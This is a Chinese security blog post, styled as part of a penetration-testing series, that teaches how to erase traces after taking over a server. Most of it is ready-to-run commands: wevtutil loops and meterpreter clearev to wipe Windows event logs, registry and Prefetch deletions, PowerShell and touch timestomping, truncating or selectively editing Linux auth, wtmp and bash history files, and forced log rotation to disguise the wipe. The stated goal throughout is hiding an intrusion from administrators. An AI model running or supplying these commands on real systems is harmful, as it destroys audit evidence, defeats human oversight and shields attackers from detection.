痕迹清理干完活之后怎么把日志清干净
原创
围巢安全笔记
围巢安全笔记
围巢安全笔记
2026年10月9日 09:00
北京
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
WEB 漏洞精讲 · 第 31 篇
上次打一个靶场,拿到了服务器权限,执行了一堆命令,结果第二天管理员就发现了,因为我没清日志。后来才知道,干完活之后第一件事不是庆祝,是清日志——不然你干了啥,管理员看日志就全知道了。痕迹清理这东西,是渗透测试最后一步,也是最容易被忽略的一步。
这篇把痕迹清理的常见方法讲清楚,分Windows和Linux两部分,约 3200 字,附 2 个冷门干货。
01|为什么要清日志
简单说,日志就是服务器的\"监控录像\"。你在服务器上干了啥——登录了、执行了什么命令、上传了什么文件、修改了什么配置——全都记录在日志里。管理员只要一看日志,就知道你干了啥,甚至能追溯到你的IP。
所以干完活之后,一定要清日志。不是说清了日志就一定不会被发现,而是至少能增加管理员排查的难度,拖延时间。
清日志的原则:
- 不要全删
——全删日志太明显了,管理员一看日志没了,就知道被黑了。最好是只删自己的操作记录,保留其他正常日志
* 清完之后恢复原样
——日志文件的大小、修改时间都要恢复,不然管理员一看日志文件大小不对,就知道被改过了
* 所有地方都要清
——不只是系统日志,还有Web日志、FTP日志、SSH日志、数据库日志、bash历史记录,都要清
02|Windows日志清理
- 一键清空所有日志
最简单粗暴的方式,直接用wevtutil命令清空所有日志。
# 查看所有日志列表
wevtutil el
# 清空单个日志
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
# 一键清空所有日志(用for循环)
for /F \"tokens=*\" %a in ('wevtutil el') do wevtutil cl \"%a\"
# 注意:在批处理文件里要用%%a代替%a
# 在cmd命令行里直接用%a
# 还有个更简单的工具:MetaSploit的meterpreter
# 直接运行 clearev 命令,一键清空所有日志
meterpreter > clearev
[*] Wiping 5 records from Application...
[*] Wiping 12 records from System...
[*] Wiping 8 records from Security...
Windows事件查看器里右键清除日志
- 精准删除指定日志(更隐蔽)
全删日志太明显了,最好是只删自己的操作记录。可以用wevtutil导出日志,然后过滤掉自己的记录,再导入回去。
# 导出安全日志为evtx格式
wevtutil epl Security C:\\temp\\security.evtx
# 导出为XML格式(方便编辑)
wevtutil epl Security C:\\temp\\security.xml /f:xml
# 然后用文本编辑器打开XML,删掉自己的登录记录
# 比如Event ID 4624(登录成功)、4634(注销)、4672(管理员登录)
# 找到包含你IP的记录,删掉
# 清空原日志
wevtutil cl Security
# 导入修改后的日志
wevtutil il C:\\temp\\security.evtx
# 注意:导入之后日志的时间戳可能会变
# 而且这种方式比较麻烦,一般不推荐
# 除非你有特殊需求,必须保留其他日志
- 清除其他痕迹
# 清除最近打开的文件记录
del /f /q %APPDATA%\\Microsoft\\Windows\\Recent\\*
# 清除运行对话框的历史记录
reg delete \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU\" /f
# 清除搜索历史
reg delete \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\WordWheelQuery\" /f
# 清除远程桌面连接历史
reg delete \"HKCU\\Software\\Microsoft\\Terminal Server Client\\Default\" /f
reg delete \"HKCU\\Software\\Microsoft\\Terminal Server Client\\Servers\" /f
# 清除回收站
rd /s /q C:\\$Recycle.Bin
# 清除预读取文件(记录程序运行记录)
del /f /q C:\\Windows\\Prefetch\\*
# 清除临时文件
del /f /q %TEMP%\\*
del /f /q C:\\Windows\\Temp\\*
# 清除DNS缓存
ipconfig /flushdns
# 清除ARP缓存
arp -d *
干货修改文件时间戳:让管理员看不出文件被改过
清完日志之后,还要修改文件的时间戳,不然管理员一看文件修改时间不对,就知道被改过了:
# Windows修改文件时间戳(用PowerShell)
# 修改创建时间
(Get-Item \"C:\\path\\to\\file\").CreationTime = \"2026-01-01 00:00:00\"
# 修改最后修改时间
(Get-Item \"C:\\path\\to\\file\").LastWriteTime = \"2026-01-01 00:00:00\"
# 修改最后访问时间
(Get-Item \"C:\\path\\to\\file\").LastAccessTime = \"2026-01-01 00:00:00\"
# 批量修改一个目录下所有文件的时间戳
Get-ChildItem \"C:\\path\\to\\dir\" -Recurse | ForEach-Object {
$_.CreationTime = \"2026-01-01 00:00:00\"
$_.LastWriteTime = \"2026-01-01 00:00:00\"
$_.LastAccessTime = \"2026-01-01 00:00:00\"
}
# 还有个更简单的工具:touch(Linux命令,Windows也有对应工具)
# 把文件时间戳改成和另一个文件一样
touch -r reference.txt target.txt
# 注意:NTFS文件系统还有个MFT(主文件表)
# 里面记录了文件的真实创建时间
# 即使你改了文件属性里的时间,MFT里的时间还是原来的
# 专业的取证工具能从MFT里读出真实时间
# 所以修改时间戳只能骗骗普通管理员,骗不了专业取证
修改时间戳是痕迹清理里很重要的一步,很多人只清日志,忘了改文件时间,结果被管理员发现。
03|Linux日志清理
- 常见的日志文件
# Linux常见的日志文件(很重要,都要清):
# /var/log/wtmp —— 登录成功记录(用last命令查看)
# /var/log/btmp —— 登录失败记录(用lastb命令查看)
# /var/log/utmp —— 当前登录用户(用who命令查看)
# /var/log/lastlog —— 每个用户最后一次登录时间(用lastlog命令查看)
# /var/log/auth.log —— 认证日志(Debian/Ubuntu)
# /var/log/secure —— 认证日志(CentOS/RHEL)
# /var/log/messages —— 系统日志
# /var/log/syslog —— 系统日志(Debian/Ubuntu)
# /var/log/kern.log —— 内核日志
# /var/log/cron —— 计划任务日志
# /var/log/maillog —— 邮件日志
# /var/log/httpd/ —— Apache日志
# /var/log/nginx/ —— Nginx日志
# ~/.bash_history —— bash命令历史记录
# ~/.mysql_history —— MySQL命令历史记录
# ~/.python_history —— Python命令历史记录
- 一键清空所有日志
# 最简单的方式:直接清空日志文件内容(不删除文件)
# 用 > 符号重定向,把文件内容清空
> /var/log/wtmp
> /var/log/btmp
> /var/log/utmp
> /var/log/lastlog
> /var/log/auth.log
> /var/log/secure
> /var/log/messages
> /var/log/syslog
> /var/log/kern.log
> /var/log/cron
> /var/log/maillog
# 清空Web日志
> /var/log/httpd/access_log
> /var/log/httpd/error_log
> /var/log/nginx/access.log
> /var/log/nginx/error.log
# 清空当前用户的bash历史
> ~/.bash_history
history -c # 清除当前会话的历史记录
# 一键清空所有日志(用for循环)
for log in /var/log/*; do > $log; done
# 注意:不要用rm删除日志文件
# 因为删除之后日志服务可能不会自动重建
# 而且删除文件会留下文件删除的记录
# 用 > 清空内容,文件还在,只是内容没了
# 这样更隐蔽
- 精准删除指定日志(更隐蔽)
# 从auth.log里删除包含你IP的记录
grep -v \"你的IP\" /var/log/auth.log > /tmp/auth.log
mv /tmp/auth.log /var/log/auth.log
# 从wtmp里删除你的登录记录(wtmp是二进制文件,不能直接编辑)
# 用utmpdump工具导出为文本,编辑后再导入
utmpdump /var/log/wtmp > /tmp/wtmp.txt
# 编辑/tmp/wtmp.txt,删掉你的记录
utmpdump -r /tmp/wtmp.txt > /var/log/wtmp
# 清除lastlog里你的记录
# lastlog也是二进制文件,用lastlog命令查看
# 可以直接清空:
> /var/log/lastlog
# 清除bash历史里的指定命令
# 方法1:直接编辑~/.bash_history文件,删掉你的命令
# 方法2:用sed删除包含关键字的行
sed -i '/你的关键字/d' ~/.bash_history
# 更骚的操作:执行命令的时候不记录到历史
# 在命令前面加个空格,bash就不会记录这条命令
# (需要设置HISTCONTROL=ignorespace,默认就是这个设置)
whoami # 前面有空格,不会被记录
# 或者临时关闭历史记录
set +o history # 关闭
# 执行你的命令
set -o history # 重新开启
干货Linux文件时间戳修改和日志服务重启
清完日志之后,还要修改文件时间戳,并且重启日志服务,不然日志服务可能还在缓存里写:
# 修改文件时间戳(Linux用touch命令)
# 把文件时间戳改成指定时间
touch -t 202601010000.00 /var/log/auth.log
# 格式:YYYYMMDDhhmm.ss
# 把文件时间戳改成和另一个文件一样
touch -r /var/log/syslog /var/log/auth.log
# 批量修改一个目录下所有文件的时间戳
find /var/log -exec touch -t 202601010000.00 {} \\;
# 重启日志服务(清空之后要重启,不然服务可能还在写)
# Debian/Ubuntu:
systemctl restart rsyslog
# CentOS/RHEL:
systemctl restart rsyslog
# 或者:
service rsyslog restart
# 重启auditd(审计服务)
systemctl restart auditd
# 注意:有些日志服务会在重启的时候记录一条\"服务已重启\"的日志
# 这条日志是正常的,不用删
# 管理员看到也不会觉得奇怪
# 还有个更隐蔽的方式:不重启服务,直接用日志轮转
# logrotate -f /etc/logrotate.conf
# 这会强制轮转日志,旧日志会被压缩归档,新日志开始记录
# 这样看起来就像是正常的日志轮转,不是被人为清空的
用logrotate强制轮转日志,比直接清空更隐蔽,因为看起来就像是正常的日志轮转。
痕迹清理这东西,核心原则就是——不要留下任何你来过的证据。日志要清,文件时间戳要改,命令历史要删,临时文件要删,回收站要清。而且要清得自然,不要全删,全删太明显了。最好是只删自己的操作记录,保留其他正常日志,让管理员看不出异常。
但是要记住,痕迹清理只能拖延时间,不能完全消除痕迹。专业的取证人员能从很多地方恢复出你删除的痕迹——比如内存、磁盘未分配空间、网络设备日志、云平台审计日志等等。所以不要以为清了日志就万事大吉了。
下一篇我们聊横向移动——拿到一台服务器之后,怎么控制整个内网。我们下篇见。
围巢安全笔记
不生产焦虑,只分享踩过的坑和挖过的洞
你还有什么痕迹清理的小技巧?评论区聊聊 👇
有想聊的话题,后台留言告诉我
往期回顾
- 权限维持:拿到服务器之后,怎么留后门,下次还能进来
- WAF绕过:你的payload一提交就被拦?这10个冷门技巧让它畅通无阻
- 域渗透:Kerberos攻击的几种姿势
- 端口转发:拿到webshell之后,怎么把内网的端口转到本地来
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论